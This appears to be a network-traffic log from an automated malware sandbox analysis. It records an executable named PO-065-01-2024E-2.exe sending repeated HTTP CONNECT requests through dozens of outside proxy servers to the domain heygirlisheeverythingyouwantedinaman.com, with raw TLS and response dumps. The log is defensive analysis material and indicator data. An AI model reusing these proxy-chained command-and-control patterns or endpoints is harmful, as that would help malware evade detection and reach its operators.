Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.246268034 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.400497913 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:46 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
537	192.168.2.10	51595	46.35.9.110	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.246268034 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
538	192.168.2.10	51567	202.179.184.44	5430	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.246315002 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
539	192.168.2.10	51154	72.167.38.7	15410	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.250268936 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:49.285837889 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
540	192.168.2.10	51162	50.63.12.33	25492	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.250425100 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:49.285837889 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
541	192.168.2.10	51693	23.161.96.132	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.256423950 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.894265890 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.614511013 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.961848974 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.651989937 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:54.398698092 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:57.004827976 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:02.192929983 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:12.598318100 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
542	192.168.2.10	51600	58.75.126.235	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.260283947 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
543	192.168.2.10	51730	104.19.85.214	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.268264055 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.422544956 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:46 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
544	192.168.2.10	51589	60.188.102.225	18080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.269360065 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
545	192.168.2.10	51744	104.21.66.184	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.270334005 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.424663067 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:46 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
546	192.168.2.10	51750	185.162.228.48	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.271902084 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.426534891 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:46 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
547	192.168.2.10	51615	8.211.4.215	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.273493052 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.989016056 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
548	192.168.2.10	51904	152.32.132.220	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.278068066 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
549	192.168.2.10	51906	152.32.132.220	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.278908014 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
550	192.168.2.10	51907	152.32.132.220	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.280060053 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
551	192.168.2.10	51909	152.32.132.220	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.280752897 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
552	192.168.2.10	51747	204.236.176.61	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.289041042 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.463430882 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:39:46 GMT Server: nginx Content-Type: text/plain Content-Length: 0
Mar 11, 2024 16:39:46.464072943 CET	394	OUT	Data Raw: 16 03 03 01 85 01 00 01 81 03 03 65 ef 25 c1 0e 83 3f 6a 57 e1 51 19 0a a8 07 d0 fa a8 c1 c2 77 97 35 7f 44 c1 4e 44 18 1e 23 24 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: e%?jWQw5DND#$,+0/$#('=<5/.-+(heygirlisheeverythingyouwantedinaman.com#_(L_q9nzwSZ{'8Rx
Mar 11, 2024 16:39:46.639045954 CET	1129	IN	Data Raw: 16 03 03 00 3d 02 00 00 39 03 03 c3 18 41 26 35 6c 4b 6d bf 22 37 c7 23 fc 6f 82 fa 8b 46 e4 c9 be 3d 5c 44 4f 57 4e 47 52 44 01 00 c0 30 00 00 11 ff 01 00 01 00 00 0b 00 04 03 00 01 02 00 17 00 00 16 03 03 02 e8 0b 00 02 e4 00 02 e1 00 02 de 30 Data Ascii: =9A&5lKm"7#oF=\DOWNGRD0000*H03110/U(heygirlisheeverythingyouwantedinaman.com0240311152138Z260311152138Z03110/U(heygirlisheeverythingyouwantedinaman.c
Mar 11, 2024 16:39:46.650655985 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 5c b9 03 d2 43 39 10 b5 55 62 f0 92 00 d5 49 b1 93 63 d3 81 17 93 01 07 c7 43 fd 83 5f 52 7f 10 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 7b 2c 51 0a d5 87 ec 97 03 e2 5f 78 e8 16 f6 53 a5 8c 48 3f 43 Data Ascii: %! \C9UbIcC_R({,Q_xSH?CF3\:H:l
Mar 11, 2024 16:39:46.822684050 CET	51	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 28 56 47 ed 65 97 4c ad 33 7f 7e 53 be d3 35 c7 93 96 db 3b 8b e8 dc e7 49 4c 4b db 44 1d bb ec b9 c2 f7 bf 51 e4 57 a1 45 Data Ascii: (VGeL3~S5;ILKDQWE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
553	192.168.2.10	51171	174.75.211.222	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.292074919 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
554	192.168.2.10	51582	103.49.202.252	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.301038027 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.679532051 CET	343	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.0 (Ubuntu) Date: Mon, 11 Mar 2024 15:39:46 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
555	192.168.2.10	51611	106.14.255.124	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.302133083 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
556	192.168.2.10	51732	52.35.240.119	1080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.303453922 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.494518995 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:39:46 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
557	192.168.2.10	51627	185.49.31.207	8081	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.305808067 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
558	192.168.2.10	51572	65.1.244.232	1080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.306217909 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.701915026 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:39:46 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
559	192.168.2.10	51591	91.241.217.58	9090	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.310709000 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
560	192.168.2.10	51789	162.214.225.223	55029	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.314771891 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.785868883 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
561	192.168.2.10	51640	134.209.105.209	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.316256046 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.652842999 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
562	192.168.2.10	51654	37.235.48.19	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.318866968 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
563	192.168.2.10	50136	192.252.211.197	14921	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.319365025 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
564	192.168.2.10	51576	116.199.168.1	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.323204994 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

